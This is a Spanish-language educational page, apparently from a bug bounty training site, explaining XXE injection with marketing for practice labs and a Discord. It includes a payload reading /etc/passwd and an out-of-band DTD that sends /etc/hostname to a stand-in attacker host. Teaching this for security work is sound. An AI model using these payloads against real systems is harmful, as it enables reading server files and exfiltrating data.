XXE

Alto

XML External Entity Injection

Definición

XML External Entity (XXE) es una vulnerabilidad que explota la funcionalidad de entidades externas en parsers XML. Cuando una aplicación procesa XML de entrada sin deshabilitar las entidades externas, un atacante puede leer archivos del servidor, realizar SSRF o provocar denegación de servicio.

Impacto

Lectura de archivos sensibles del servidor (/etc/passwd, configuraciones)Server-Side Request Forgery (SSRF) a través de entidades externasDenegación de servicio con ataques de Billion LaughsExfiltración de datos fuera de banda (OOB-XXE)En algunos casos, ejecución remota de código

Ejemplos

XXE para lectura de archivos

Se define una entidad externa que referencia el archivo /etc/passwd. Cuando el parser XML procesa el documento y expande la entidad &xxe;, el contenido del archivo se incluye en la respuesta.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
</user>

XXE Out-of-Band (OOB)

Cuando la respuesta no muestra el contenido de la entidad, se usa la técnica OOB: el servidor carga un DTD externo que exfiltra los datos del archivo a un servidor controlado por el atacante.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://atacante.com/evil.dtd">
  %xxe;
]>
<data>test</data>

<!-- evil.dtd en el servidor del atacante -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://atacante.com/?data=%file;'>">
%eval;
%exfil;

Practica XXE con labs reales

Aplica lo que has aprendido en entornos seguros basados en reportes de bug bounty.

Ver labs de práctica
2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.